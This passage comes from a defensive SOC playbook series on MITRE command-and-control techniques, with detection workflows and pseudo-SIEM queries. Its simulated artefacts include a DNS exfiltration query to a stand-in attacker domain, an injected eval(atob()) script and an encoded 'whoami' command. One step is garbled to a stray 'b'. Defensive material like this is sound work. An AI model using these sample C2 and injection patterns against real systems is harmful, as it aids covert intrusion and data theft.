
```
index=edr  
| transaction host  
| where video_capture=true AND foreground_app="Teams.exe"
```

Analyst checklist

- Video capture confirmed
- Source and scope identified
- Sensitive exposure assessed
- Devices and accounts contained
- Incident escalated if required

Post-incident improvements

- Treat video capture as critical privacy and intelligence threat
- Alert on camera access by background services
- Enforce physical and OS-level camera controls
- Correlate video capture → staging → exfiltration
- Include video-surveillance scenarios in SOC and purple-team exercises

Playbook 209 (MITRE Command and Control): Application Layer Protocol

Technique: Application Layer Protocol

Sub-techniques:

- Web Protocols
- File Transfer Protocols
- Mail Protocols
- DNS
- Publish/Subscribe Protocols

Purpose

Detect, investigate and respond to command-and-control (C2) communication conducted over common application-layer protocols, enabling attackers to:

- Blend malicious traffic into legitimate business communications
- Bypass firewall and proxy restrictions
- Reliably send commands and receive data
- Exfiltrate data under the guise of normal protocols
- Maintain resilient, low-noise control channels

Application Layer Protocol C2 is the most common and effective control method attackers hide inside HTTP, DNS, email and cloud messaging traffic.

When to trigger this playbook

Trigger this playbook when indicators suggest suspicious or anomalous application-layer communications, including:

- Periodic outbound connections to external services
- Protocol usage inconsistent with host role
- Encoded or structured data in application requests
- Long-lived or beacon-like traffic patterns
- Application traffic correlated with malware execution

Example use case scenario (end-to-end)

Context: SOC observes an endpoint making HTTPS POST requests every 60 seconds to a previously unseen domain. Payloads are encrypted and size-consistent. Commands are returned in HTTP responses and stolen data is later uploaded using the same channel.

Attacker objective: Maintain stealthy and resilient control over compromised hosts.

Defender objective: Identify C2 hiding in legitimate protocols and disrupt attacker control.

What it looks like (simulated SOC artefacts)

A) Web Protocol C2

Protocol=HTTPS

Method=POST

Interval=60s

Domain=cdn-updates[.]net

B) File Transfer Protocol C2

Protocol=FTP

Action=PUT

File=task.bin

C) Mail Protocol C2

Protocol=SMTP

Subject=Status Report

Attachment=cmd.dat

D) DNS-Based C2

Query=ZGF0YQ.command.attacker.com

Type=TXT

E) Publish/Subscribe C2

Service=MQTT

Topic=/device/update

Action=Subscribe

F) Beaconsing Behaviour

Jitter=Low

Interval=Fixed

Severity decision (SOC)

High

- Suspicious application-layer traffic without confirmed control

Critical

- Confirmed beaconing or bidirectional C2
- Encrypted or encoded payload exchange
- C2 used for data exfiltration or lateral movement

Example severity: Critical

(Active attacker control via HTTPS C2 channel)

Step-by-step SOC workflow

Step 1 Validate application-layer C2 activity

Confirm:

1. Which protocol is used (HTTP, FTP, SMTP, DNS, Pub/Sub)?
2. Is traffic periodic, structured or automated?
3. Does payload content appear encoded or encrypted?
4. Is communication inconsistent with host function?

Decision point

- Legitimate application traffic → document
- Suspicious control patterns → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Web protocols	HTTP/S POST/GET	Firewall bypass
File transfer	FTP/SFTP uploads	Bulk transfer
Mail protocols	SMTP/IMAP abuse	Stealth
DNS	TXT/C2 tunneling	Ubiquity
Pub/Sub	MQTT, cloud queues	Resilience

Step 3 Map behaviour to attacker intent

3A) Stealthy Command Execution

Indicators

- Regular beacon intervals

Attacker intent

- Maintain control without detection

3B) Data Exfiltration

Indicators

- Large or increasing payload sizes

Attacker intent

- Steal collected data

3C) Infrastructure Resilience

Indicators

- Use of common or cloud-hosted services

Attacker intent

- Avoid blocking and takedown

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Data Staged / Exfiltration
 - Uploads over same protocol
2. Lateral Movement
 - Commands to scan or pivot
3. Persistence
 - Re-establishing C2 on reboot
4. Defense Evasion
 - Domain rotation, encryption

Decision point

- Evidence found → escalate to Active Intrusion / Full IR

Containment actions

Immediate

1. Block malicious domains, IPs or topics
2. Isolate affected endpoints

3. Terminate malicious processes

If C2 confirmed

1. Sinkhole or blackhole C2 traffic
2. Preserve network and endpoint telemetry
3. Identify all hosts communicating with C2
4. Notify SOC leadership and IR team

Eradication and recovery

- Remove malware and persistence mechanisms
- Reimage affected systems if required
- Rotate credentials and secrets
- Harden egress filtering and proxy rules
- Monitor closely for C2 re-emergence

Detection engineering (SIEM ideas)

A) Periodic beacon detection

```
index=proxy
| bucket _time span=1m
| stats count by src_ip, dest_domain
| where count > baseline
```

B) DNS tunneling detection

```
index=dns
| where strlen(query) > threshold
| where type IN ("TXT","NULL")
```

C) Application protocol misuse

```
index=network
| where protocol IN ("SMTP","FTP","MQTT")
| where host_role NOT IN baseline
```

Analyst checklist

- Application-layer C2 confirmed
- Protocol and infrastructure identified
- Scope of compromised hosts assessed
- C2 traffic blocked or sinkholed

- Incident escalated appropriately

Post-incident improvements

- Treat application-layer C2 as default attacker behaviour
- Baseline normal protocol usage per host role
- Enforce egress filtering and DNS monitoring
- Correlate execution → beaconing → command → exfiltration
- Include protocol-based C2 scenarios in SOC and purple-team exercises

Playbook 210 (MITRE Command and Control): Communication Through Removable Media

Technique: Communication Through Removable Media

Purpose

Detect, investigate and respond to command-and-control (C2) communication conducted via removable media, enabling attackers to:

- Operate in air-gapped or highly restricted environments
- Bypass network monitoring, firewalls and proxies entirely
- Transfer commands, malware updates and stolen data offline
- Maintain C2 in environments with no outbound connectivity
- Leverage trusted human workflows to move data covertly

Communication Through Removable Media is offline C2 attackers replace network traffic with physical transfer mechanisms.

When to trigger this playbook

Trigger this playbook when indicators suggest removable media being used as a bidirectional communication channel, including:

- USB devices repeatedly inserted across multiple systems
- Files written to removable media with structured or encrypted content
- Removable media usage correlated with malware execution
- Data copied to removable media after task execution
- Air-gapped systems showing signs of coordinated activity

Example use case scenario (end-to-end)

Context: An OT workstation with no internet access executes a suspicious binary after a USB drive is inserted. The malware reads a command file from the USB, executes tasks and writes results back to the same drive. The USB is later inserted into an internet-connected system, where results are exfiltrated.

Attacker objective: Maintain command and control in isolated environments using physical transfer.

Defender objective: Detect offline C2 workflows and break attacker command loops.

What it looks like (simulated SOC artefacts)

A) Removable Media Insertion

DeviceType=USB Storage
VolumeLabel=DATA_SYNC
DriveLetter=F:

B) Command File Read from Media

Process=taskrunner.exe
Action=Read
File=F:\cmd.bin

C) Structured or Encrypted Content

FileType=Binary
Entropy=High

D) Task Execution After Read

Action=Execute
Command=Collect_System_Info

E) Output Written Back to Media

Action=Write
File=F:\result.dat

F) Repeated Use Pattern

USBInsertCount=Daily
HostsTouched=3

Severity decision (SOC)

High

- Suspicious removable media usage without confirmed coordination

Critical

- Confirmed bidirectional command/data exchange via removable media
- Use in air-gapped, OT or sensitive environments
- Removable media used across multiple systems

Example severity: Critical

(Offline C2 channel established via USB in restricted environment)

Step-by-step SOC workflow**Step 1 Validate removable-media-based communication**

Confirm:

1. Is removable media used repeatedly or systematically?
2. Are files read and written in a command-response pattern?
3. Is content encoded, encrypted or structured?
4. Is there task execution tied to media insertion?

Decision point

- Legitimate data transfer → document
- Coordinated command exchange → escalate immediately

Step 2 Identify communication pattern and scope

Pattern	Evidence	Attacker value
Command drop	Read from USB	Control
Result return	Write to USB	Feedback
Update delivery	New binaries	Persistence
Human courier	Trusted user	Stealth
Multi-host relay	Same USB used	Reach

Step 3 Map behaviour to attacker intent**3A) Air-Gapped C2****Indicators**

- No network traffic, USB-based coordination

Attacker intent

- Operate in isolated environments

3B) Stealth and Evasion**Indicators**

- No outbound connections

Attacker intent

- Bypass network-based detection

3C) Long-Term Operations

Indicators

- Repeated USB usage over time

Attacker intent

- Maintain durable control

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Data Staged
 - Results written to removable media
2. Exfiltration
 - USB later inserted into connected system
3. Persistence
 - Malware awaiting future commands
4. Lateral Movement
 - Same media used across hosts

Decision point

- Evidence found → escalate to Major Incident / OT or Air-Gap Breach

Containment actions

Immediate

1. Quarantine removable media
2. Isolate affected systems
3. Disable USB ports temporarily if required

If C2 confirmed

1. Preserve removable media as forensic evidence

2. Identify all systems touched by the device
3. Terminate malware and scheduled tasks
4. Notify OT/security leadership immediately

Eradication and recovery

- Remove malware and dormant loaders
- Reimage affected systems if required
- Scan all removable media used in environment
- Enforce removable-media control policies
- Monitor closely for renewed offline coordination

Detection engineering (SIEM ideas)

A) Repeated USB insertion across hosts

```
index=edr  
| where device_type="USB"  
| stats dc(host) by device_serial  
| where dc(host) > 1
```

B) Read-execute-write pattern

```
index=edr  
| transaction host  
| where usb_read=true AND process_execute=true AND usb_write=true
```

C) High-entropy files on removable media

```
index=edr  
| where drive_type="Removable"  
| where entropy > threshold
```

Analyst checklist

- Removable-media C2 confirmed
- Communication pattern identified
- Scope across hosts assessed
- Media and endpoints contained
- Incident escalated appropriately

Post-incident improvements

- Treat removable media as potential C2 channels, not just data carriers

- Enforce strict USB usage and approval controls
- Monitor read-execute-write workflows tied to removable media
- Correlate USB use → task execution → data write-back
- Include offline C2 scenarios in SOC and purple-team exercises

Playbook 211 (MITRE Command and Control): Content Injection

Technique: Content Injection

Purpose

Detect, investigate and respond to attackers injecting malicious content into legitimate network traffic or data flows to establish or maintain command-and-control (C2), enabling attackers to:

- Hide commands inside otherwise legitimate content
- Evade network-based detection and inspection
- Deliver instructions without dedicated C2 infrastructure
- Abuse trusted services, applications or data channels
- Maintain control even in tightly monitored environments

Content Injection is covert C2 piggybacking attackers do not create new channels; they hide inside trusted content streams.

When to trigger this playbook

Trigger this playbook when indicators suggest tampering or manipulation of legitimate content for C2 purposes, including:

- Unexpected scripts, tags or payloads in web responses
- Modified application data or configuration content
- Commands embedded in images, JSON, XML or HTML
- Legitimate services delivering abnormal or structured content
- Client-side execution triggered by content changes

Example use case scenario (end-to-end)

Context: SOC detects endpoints executing JavaScript delivered from a trusted third-party website. The script content changes subtly every hour and triggers local command execution. Investigation reveals attacker-controlled instructions injected into normal web responses.

Attacker objective: Maintain stealthy command delivery without dedicated malware infrastructure.

Defender objective: Detect manipulation of trusted content and disrupt hidden C2 channels.

What it looks like (simulated SOC artefacts)

A) Injected Web Content

Source=https://trusted-site.com/resource.js
InjectedPayload=eval(atob("Y21k"))

B) Modified Application Data

File=config.json
Field=update_interval
InjectedData=EncodedCommand

C) Trusted Domain Abuse

Reputation=Good
ContentHash=Changed

D) Client-Side Execution

Process=browser.exe
Action=ExecuteScript

E) Periodic Content Updates

FetchInterval=30 minutes
PayloadDiff=Small

F) No Direct C2 Connection

OutboundC2=None

Severity decision (SOC)

High

- Suspicious content changes without confirmed execution

Critical

- Confirmed execution of injected content
- Commands delivered via trusted services
- Injection used to control multiple endpoints

Example severity: Critical

(Hidden C2 commands injected into trusted web content)

Step-by-step SOC workflow

Step 1 Validate content injection activity

Confirm:

1. b

Decision point

- Legitimate update or change → document
- Malicious or unexplained injection → escalate immediately

Step 2 Identify injection method and scope

Injection type	Evidence	Attacker value
Web injection	Script tags, JS payloads	Scale
Config injection	Altered parameters	Persistence
Data field injection	Encoded commands	Stealth
CDN abuse	Trusted delivery	Reputation
Fileless execution	Memory-only	Evasion

Step 3 Map behaviour to attacker intent

3A) Stealthy Command Delivery

Indicators

- Commands embedded in normal content

Attacker intent

- Avoid C2 detection

3B) Trust Abuse

Indicators

- Use of reputable domains or services

Attacker intent

- Bypass security controls

3C) Resilient Control

Indicators

- Periodic content polling

Attacker intent

- Maintain control without infrastructure

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Command Execution
 - Script or payload execution
2. Persistence
 - Continued polling of injected content
3. Data Staged / Exfiltration
 - Use of same channel for data return
4. Lateral Movement
 - Commands targeting other systems

Decision point

- Evidence found → escalate to Active Intrusion / Full IR

Containment actions

Immediate

1. Block or disable affected content sources
2. Isolate impacted endpoints
3. Prevent execution of injected scripts or data

If injection confirmed

1. Invalidate caches (browser, CDN, proxy)
2. Restore trusted content from known-good versions
3. Preserve injected samples and logs
4. Notify application owners and SOC leadership

Eradication and recovery

- Remove injected content and attacker access
- Patch vulnerable applications or pipelines
- Rotate credentials tied to content management
- Implement content integrity validation
- Monitor closely for reinjection attempts

Detection engineering (SIEM ideas)

A) Trusted content hash changes

```
index=proxy
| stats dc(content_hash) by url
| where dc(content_hash) > baseline
```

B) Script execution from trusted domains

```
index=edr
| where parent_process="browser.exe"
| where script_source_reputation="Trusted"
```

C) Periodic content polling

```
index=proxy
| bucket _time span=30m
| stats count by src_ip, url
| where count > baseline
```

Analyst checklist

- Content injection confirmed
- Source and delivery method identified
- Scope of affected systems assessed
- Injection blocked and content restored
- Incident escalated appropriately

Post-incident improvements

- Treat trusted content channels as potential C2 paths
- Implement content integrity and signing checks
- Monitor hash changes on critical resources
- Correlate content fetch → execution → command activity
- Include content-injection C2 scenarios in SOC and purple-team exercises

Playbook 212 (MITRE Command and Control): Data Encoding

Technique: Data Encoding

Sub-techniques:

- Standard Encoding
- Non-Standard Encoding

Purpose

Detect, investigate and respond to attackers encoding C2 traffic to obscure commands and data, enabling attackers to:

- Hide malicious content inside otherwise normal-looking traffic
- Evade signature-based detection and content inspection
- Reduce visibility of commands, responses and exfiltrated data
- Blend C2 traffic into legitimate encoded application data
- Increase resilience against network security controls

Data Encoding is obfuscation, not encryption attackers rely on encoding layers to avoid detection rather than secrecy alone.

When to trigger this playbook

Trigger this playbook when indicators suggest encoded data being used for C2 or data transfer, including:

- Base64-like strings in network traffic or payloads
- Repeated encoded blobs of consistent size
- Encoded content where plaintext is expected
- Custom or malformed encoding schemes
- Decoding routines observed on endpoints

Example use case scenario (end-to-end)

Context: SOC observes HTTPS traffic containing long Base64 strings in POST bodies sent every 90 seconds. Endpoint telemetry shows a process decoding the data and executing commands. Responses are encoded again before being sent outbound.

Attacker objective: Obscure command exchange and results to evade detection.

Defender objective: Detect encoded C2 traffic and break attacker communication.

What it looks like (simulated SOC artefacts)

A) Standard Encoding (Base64)

Payload=Y21kPXdob2FtaQ==
Decoded=cmd=whoami

B) Non-Standard Encoding

Payload=7x9Q-12Zk_A
Scheme=CustomSubstitution

C) Repeated Encoded Traffic

Interval=90s
PayloadSize=512 bytes

D) Decode Routine on Endpoint

Process=agent.exe
Function=Base64Decode

E) Bidirectional Encoding

Inbound=Encoded
Outbound=Encoded

F) No TLS Inspection Value

ContentType=application/octet-stream

Severity decision (SOC)

High

- Encoded traffic without confirmed malicious context

Critical

- Encoding used for active C2 communication
- Custom or layered encoding schemes
- Encoding combined with beaconing or execution

Example severity: Critical

(Active C2 channel hidden using layered encoding)

Step-by-step SOC workflow

Step 1 Validate data encoding activity

Confirm:

1. Where encoding appears (network, file, memory)?
2. Is encoding expected for the protocol or application?
3. Are there decode routines on the endpoint?
4. Is encoded data periodic or command-like?

Decision point

- Legitimate application encoding → document
- Suspicious or unexplained encoding → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Standard encoding	Base64, Hex, URL	Easy evasion
Double encoding	Base64+gzip	Layered hiding
Non-standard encoding	Custom alphabets	Signature bypass
Chunked encoding	Small fragments	Noise reduction
Inline encoding	JSON/XML fields	Blending

Step 3 Map behaviour to attacker intent

3A) Detection Evasion

Indicators

- Encoded content where plaintext expected

Attacker intent

- Bypass IDS/IPS and DLP

3B) C2 Obfuscation

Indicators

- Decode-execute-encode loops

Attacker intent

- Maintain stealthy control

3C) Data Exfiltration Preparation

Indicators

- Encoded outbound data bursts

Attacker intent

- Hide stolen information

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Application Layer Protocol C2
 - Encoded HTTP/DNS/Mail traffic
2. Encrypted Channel
 - Encoding layered with encryption
3. Data Staged / Exfiltration
 - Encoded archives or payloads
4. Defense Evasion
 - Polymorphic encoding changes

Decision point

- Evidence found → escalate to Active Intrusion / Full IR

Containment actions

Immediate

1. Block or throttle suspicious encoded traffic
2. Isolate affected endpoints
3. Terminate decoding/executing processes

If C2 confirmed

1. Sinkhole or decode and inspect traffic
2. Preserve encoded samples and decoded output
3. Identify all hosts using same encoding pattern
4. Notify SOC leadership and IR team

Eradication and recovery

- Remove malware and decoding logic
- Reimage affected systems if required
- Improve network inspection and analytics
- Tune detection for encoded patterns
- Monitor closely for re-encoded traffic

Detection engineering (SIEM ideas)

A) High-entropy payload detection

```
index=proxy
| eval entropy=shannon(payload)
| where entropy > threshold
```

B) Base64-like pattern detection

```
index=network
| where payload MATCHES "[A-Za-z0-9+/]{100,}"
```

C) Decode routines on endpoints

```
index=edr
| where function_call IN ("Base64Decode","UrlDecode")
| where process_name NOT IN baseline
```

Analyst checklist

- Data encoding confirmed
- Encoding type identified
- Decode/execute behaviour observed
- C2 traffic blocked
- Incident escalated appropriately

Post-incident improvements

- Treat data encoding as default C2 obfuscation layer
- Baseline normal encoding usage per application
- Monitor entropy and payload structure
- Correlate encoding → decoding → execution
- Include encoded-C2 scenarios in SOC and purple-team exercises

Playbook 213 (MITRE Command and Control): Data Obfuscation

Technique: Data Obfuscation

Sub-techniques:

- Junk Data
- Steganography
- Protocol or Service Impersonation

Purpose

Detect, investigate and respond to attackers deliberately obscuring C2 traffic content and intent, enabling attackers to:

- Conceal commands and exfiltrated data inside noisy or benign-looking traffic
- Defeat signature-based detection and simple anomaly checks
- Blend malicious payloads into normal application flows
- Masquerade C2 traffic as trusted or business-critical services
- Increase dwell time by avoiding protocol-level detection

Data Obfuscation is semantic hiding attackers do not just encode data; they make malicious data look unimportant, random or legitimate.

When to trigger this playbook

Trigger this playbook when indicators suggest intentional manipulation of data to hide malicious meaning, including:

- Payloads padded with meaningless or random content
- Files or traffic hiding data inside images, audio or documents
- Network traffic that claims to be one protocol but behaves like another
- Service traffic that does not align with documented specifications
- Obfuscation patterns combined with beaconing or task execution

Example use case scenario (end-to-end)

Context: SOC detects outbound HTTPS traffic with unusually large, random-looking POST bodies. Closer inspection shows only a small portion of the payload contains meaningful data, surrounded by junk. Another host embeds C2 commands inside PNG images downloaded from a blog site.

Attacker objective: Hide commands and stolen data in plain sight to evade inspection.

Defender objective: Detect semantic obfuscation and disrupt hidden C2 channels.

What it looks like (simulated SOC artefacts)

A) Junk Data Padding

PayloadSize=2048 bytes

UsefulData=120 bytes

Padding=Random

B) Steganography

Carrier=logo.png

HiddenData=EncryptedCommands

Entropy=High

C) Protocol Impersonation

ClaimedProtocol=HTTPS

ObservedBehavior=BinaryC2

D) Service Masquerading

UserAgent=Microsoft Update

Destination=Unknown CDN

E) Consistent Obfuscation Pattern

Interval=120s

PayloadStructure=Stable

F) Endpoint Decode Routine

Process=loader.exe

Action=ExtractHiddenData

Severity decision (SOC)

High

- Suspected obfuscation without confirmed C2 linkage

Critical

- Obfuscation actively used for command delivery or data exfiltration
- Steganography or protocol impersonation confirmed

- Obfuscation observed across multiple hosts

Example severity: Critical

(Hidden C2 commands embedded in image downloads)

Step-by-step SOC workflow

Step 1 Validate data obfuscation activity

Confirm:

1. Is data intentionally padded, hidden or disguised?
2. Does payload structure repeat predictably?
3. Is there decode or extraction logic on the endpoint?
4. Does traffic violate expected protocol behavior?

Decision point

- Legitimate application behavior → document
- Intentional obfuscation → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Junk data	Random padding	Noise camouflage
Steganography	Data hidden in media	Deep evasion
Protocol impersonation	Mismatch behavior	Trust abuse
Service impersonation	Fake update traffic	Whitelist bypass
Hybrid obfuscation	Multiple layers	Resilience

Step 3 Map behaviour to attacker intent

3A) Detection Evasion

Indicators

- Payloads designed to defeat pattern matching

Attacker intent

- Avoid IDS/IPS and DLP

3B) Trust Exploitation

Indicators

- Masquerading as updates or cloud services

Attacker intent

- Bypass security controls

3C) Long-Term C2 Stability

Indicators

- Consistent obfuscation schemes over time

Attacker intent

- Maintain durable control

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Application Layer Protocol C2
 - Hidden commands over HTTP/DNS
2. Encrypted Channel
 - Obfuscation layered with encryption
3. Data Staged / Exfiltration
 - Hidden data return paths
4. Defense Evasion
 - Protocol mutation or re-padding

Decision point

- Evidence found → escalate to Active Intrusion / Full IR

Containment actions

Immediate

1. Block traffic matching obfuscation patterns
2. Isolate affected endpoints
3. Disable execution of extraction/decoder components

If C2 confirmed

1. Sinkhole impersonated services or domains
2. Preserve carrier files (images, docs) and decoded content
3. Identify all hosts using same obfuscation scheme
4. Notify SOC leadership and IR team

Eradication and recovery

- Remove malware and extraction logic
- Reimage systems if required
- Harden network inspection and protocol validation
- Improve anomaly-based detection
- Monitor closely for mutation of obfuscation techniques

Detection engineering (SIEM ideas)

A) Payload padding detection

index=proxy
| where payload_size > expected AND useful_data_ratio < threshold

B) Steganography indicators

index=proxy
| where file_type IN ("png", "jpg", "bmp")
| where entropy > threshold

C) Protocol behavior mismatch

index=network
| where protocol_claimed="HTTPS"
| where behavior!="HTTP"

Analyst checklist

- Data obfuscation confirmed
- Sub-technique identified
- Decode/extract behavior observed
- Obfuscated C2 traffic blocked
- Incident escalated appropriately

Post-incident improvements

- Treat data obfuscation as advanced C2 maturity indicator
- Monitor entropy, padding ratios and protocol compliance

- Validate behavior, not just protocol labels
- Correlate obfuscation → decode → command execution
- Include steganography and impersonation in purple-team scenarios

Playbook 214 (MITRE Command and Control): Dynamic Resolution

Technique: Dynamic Resolution

Sub-techniques:

- Fast Flux DNS
- Domain Generation Algorithms (DGA)
- DNS Calculation

Purpose

Detect, investigate and respond to attackers dynamically resolving C2 infrastructure, enabling attackers to:

- Rapidly change C2 endpoints to evade blocking
- Maintain resilience against takedowns and sinkholing
- Distribute command traffic across multiple IPs or domains
- Obscure true C2 infrastructure ownership
- Sustain long-term command-and-control operations

Dynamic Resolution is infrastructure agility attackers ensure that blocking yesterday's domain does not stop today's C2.

When to trigger this playbook

Trigger this playbook when indicators suggest frequent or algorithmic DNS resolution behaviour, including:

- Domains resolving to many IPs in short timeframes
- Repeated failed DNS queries followed by a successful one
- Host-generated domains with random or pseudo-random patterns
- DNS queries that do not exist in public registries
- Endpoint logic calculating domains locally

Example use case scenario (end-to-end)

Context: SOC observes an endpoint generating dozens of DNS queries per hour for domains like akd92jd0q.com, most of which do not resolve. Eventually, one domain resolves and HTTPS beaconing begins. IP addresses change every few minutes despite the same domain.

Attacker objective: Ensure high availability and takedown resistance of C2 channels.

Defender objective: Identify algorithmic or flux-based resolution and disrupt attacker infrastructure.

What it looks like (simulated SOC artefacts)

A) Fast Flux DNS

Domain=cdn-sync[.]net

IPs=15

TTL=60 seconds

B) DGA Queries

QuerySequence=kjd83md.com, 9akd20s.net, qp92la.org

SuccessRate=1/50

C) DNS Calculation on Endpoint

Process=agent.exe

Function=GenerateDomain(seed, date)

D) Rapid IP Rotation

SameDomain=Yes

DifferentIP=Every 2 min

E) Beacon After Successful Resolution

Protocol=HTTPS

Interval=120s

F) No Reputation History

DomainAge=< 24 hours

Reputation=None

Severity decision (SOC)

High

- Suspicious DNS patterns without confirmed C2

Critical

- Confirmed beaconing following dynamic resolution

- DGA or fast-flux infrastructure in use
- Dynamic resolution observed across multiple hosts

Example severity: Critical

(Active C2 using DGA and fast-flux DNS)

Step-by-step SOC workflow

Step 1 Validate dynamic resolution behaviour

Confirm:

1. Are domains changing rapidly or algorithmically?
2. Do DNS queries precede beaconing or execution?
3. Are IPs rotating abnormally fast?
4. Is there endpoint logic generating domains?

Decision point

- Legitimate CDN or load balancing → document
- Malicious dynamic resolution → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Fast Flux	Many IPs, low TTL	Infrastructure resilience
DGA	Random domain strings	Blocking resistance
DNS calculation	Local generation logic	Offline capability
Hybrid use	DGA + Fast Flux	High survivability
Domain aging abuse	Newly registered domains	Detection evasion

Step 3 Map behaviour to attacker intent

3A) Takedown Resistance

Indicators

- IP or domain changes invalidate blocks

Attacker intent

- Maintain C2 availability

3B) Detection Avoidance

Indicators

- Domains lack reputation or history

Attacker intent

- Evade reputation-based controls

3C) Long-Term Campaign Support

Indicators

- Persistent dynamic resolution over weeks

Attacker intent

- Sustain extended operations

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Application Layer Protocol C2
 - Beacons to resolved domains
2. Encrypted Channel
 - TLS over dynamic infrastructure
3. Ingress Tool Transfer
 - Payloads fetched from resolved hosts
4. Exfiltration
 - Data sent via rotating endpoints

Decision point

- Evidence found → escalate to Active Intrusion / Full IR

Containment actions

Immediate

1. Block domains and IPs associated with resolution patterns
2. Isolate affected endpoints
3. Increase DNS logging and alerting

If C2 confirmed

1. Sinkhole domains or intercept DNS responses
2. Preserve DNS logs and endpoint artefacts
3. Identify all hosts querying same domains or algorithms
4. Notify SOC leadership and IR team

Eradication and recovery

- Remove malware containing DGA or DNS logic
- Reimage affected systems if required
- Improve DNS security controls
- Implement proactive domain reputation monitoring
- Monitor closely for new resolution patterns

Detection engineering (SIEM ideas)

A) Fast-flux detection

```
index=dns  
| stats dc(ip) by domain  
| where dc(ip) > threshold
```

B) DGA-like domain detection

```
index=dns  
| eval entropy=shannon(domain)  
| where entropy > threshold
```

C) High NXDOMAIN rate

```
index=dns  
| stats count(eval(response="NXDOMAIN")) as fails by src_ip  
| where fails > baseline
```

Analyst checklist

- Dynamic resolution confirmed
- Sub-technique identified (Fast Flux, DGA, DNS Calc)
- Associated C2 traffic identified
- Domains/IPs blocked or sinkholed
- Incident escalated appropriately

Post-incident improvements

- Treat dynamic resolution as advanced C2 resilience indicator

- Implement DGA and fast-flux detection models
- Correlate DNS behaviour → beaconing → execution
- Monitor newly registered domains aggressively
- Include dynamic-resolution scenarios in SOC and purple-team exercises

Playbook 215 (MITRE Command and Control): Encrypted Channel

Technique: Encrypted Channel

Sub-techniques:

- Symmetric Cryptography
- Asymmetric Cryptography

Purpose

Detect, investigate and respond to attackers encrypting command-and-control (C2) communications, enabling attackers to:

- Conceal commands, responses and stolen data from inspection
- Defeat content-based detection and payload inspection
- Blend malicious traffic with legitimate encrypted traffic
- Maintain confidentiality of operations even if traffic is captured
- Increase resilience against monitoring and forensic analysis

Encrypted Channel is confidential C2 attackers assume traffic will be seen, so they ensure nothing meaningful can be read.

When to trigger this playbook

Trigger this playbook when indicators suggest encrypted C2 communication beyond normal application behavior, including:

- Encrypted traffic without expected application context
- Custom encryption routines observed on endpoints
- TLS usage with anomalous certificates or handshakes
- Encrypted payloads over non-standard or unexpected protocols
- Encryption combined with beaconing or task execution

Example use case scenario (end-to-end)

Context: SOC detects an endpoint beaconing over HTTPS every 120 seconds. TLS inspection reveals a self-signed certificate and non-browser User-Agent. Endpoint telemetry shows a custom AES routine encrypting command data before transmission.

Attacker objective: Protect command secrecy and operational integrity.

Defender objective: Detect encrypted C2 through behaviour, metadata and endpoint activity.

What it looks like (simulated SOC artefacts)

A) Symmetric Encryption (AES)

Algorithm=AES-256

Mode=CBC

KeySource=Hardcoded

B) Asymmetric Encryption (RSA/ECC)

KeyExchange=RSA-2048

SessionKey=Derived

C) Encrypted Application Traffic

Protocol=HTTPS

Payload=EncryptedBinary

D) Custom Crypto Routine

Process=agent.exe

Function=EncryptData()

E) Certificate Anomalies

Issuer=Self-Signed

Validity=10 years

F) Encrypted Beacon Pattern

Interval=120s

PayloadSize=Constant

Severity decision (SOC)

High

- Encrypted traffic without clear malicious confirmation

Critical

- Encryption used for active C2
- Custom or layered cryptography observed
- Encrypted channels controlling multiple hosts

Example severity: Critical

(Active encrypted C2 with custom cryptographic routines)

Step-by-step SOC workflow

Step 1 Validate encrypted channel activity

Confirm:

1. Is encryption expected for the protocol and application?
2. Are custom cryptographic routines present?
3. Does encrypted traffic show beaconing or task correlation?
4. Are certificates or key usage abnormal?

Decision point

- Legitimate encrypted application traffic → document
- Suspicious or unexplained encryption → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Symmetric crypto	AES/ChaCha20	Speed and simplicity
Asymmetric crypto	RSA/ECC	Secure key exchange
Hybrid crypto	RSA + AES	Scalability
Custom crypto	Non-standard	Detection evasion
Opportunistic TLS	Abused HTTPS	Blending

Step 3 Map behaviour to attacker intent

3A) Confidential Command Execution

Indicators

- Encrypted inbound/outbound traffic tied to execution

Attacker intent

- Protect command secrecy

3B) Detection Evasion

Indicators

- No readable payloads even with inspection

Attacker intent

- Defeat content-based detection

3C) Long-Term C2 Stability

Indicators

- Stable encrypted channels over time

Attacker intent

- Sustain control without disruption

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Application Layer Protocol C2
 - HTTPS, DNS over TLS
2. Dynamic Resolution
 - Encrypted traffic to rotating domains
3. Data Exfiltration
 - Encrypted outbound data bursts
4. Persistence
 - Encrypted channel re-established after reboot

Decision point

- Evidence found → escalate to Active Intrusion / Full IR

Containment actions

Immediate

1. Block suspicious encrypted endpoints or domains
2. Isolate affected hosts
3. Terminate malicious processes

If encrypted C2 confirmed

1. Sinkhole or intercept encrypted destinations

2. Preserve traffic metadata and endpoint artefacts
3. Identify all hosts using same encryption patterns
4. Notify SOC leadership and IR team

Eradication and recovery

- Remove malware and cryptographic components
- Reimage systems if required
- Rotate credentials and keys
- Improve TLS inspection and metadata analytics
- Monitor closely for re-establishment

Detection engineering (SIEM ideas)

A) TLS anomalies

index=proxy
| where tls_issuer="Self-Signed" OR cert_validity > threshold

B) Encrypted beacon detection

index=network
| bucket _time span=2m
| stats count by src_ip, dest_ip
| where count > baseline

C) Custom crypto routines on endpoints

index=edr
| where function_call IN ("AES_encrypt","RSA_public_encrypt")
| where process_name NOT IN baseline

Analyst checklist

- Encrypted channel confirmed
- Cryptography type identified
- Associated C2 behaviour validated
- Channels blocked or sinkholed
- Incident escalated appropriately

Post-incident improvements

- Treat encrypted channels as default C2 behaviour
- Focus on metadata, timing and behaviour, not payloads

- Baseline TLS usage per application and host role
- Correlate encryption → beaconing → execution
- Include encrypted-C2 scenarios in SOC and purple-team exercises

Playbook 216 (MITRE Command and Control): Fallback Channels

Technique: Fallback Channels

Purpose

Detect, investigate and respond to attackers implementing backup command-and-control (C2) communication paths, enabling attackers to:

- Automatically recover control when primary C2 is blocked
- Maintain access during takedowns, network outages or containment
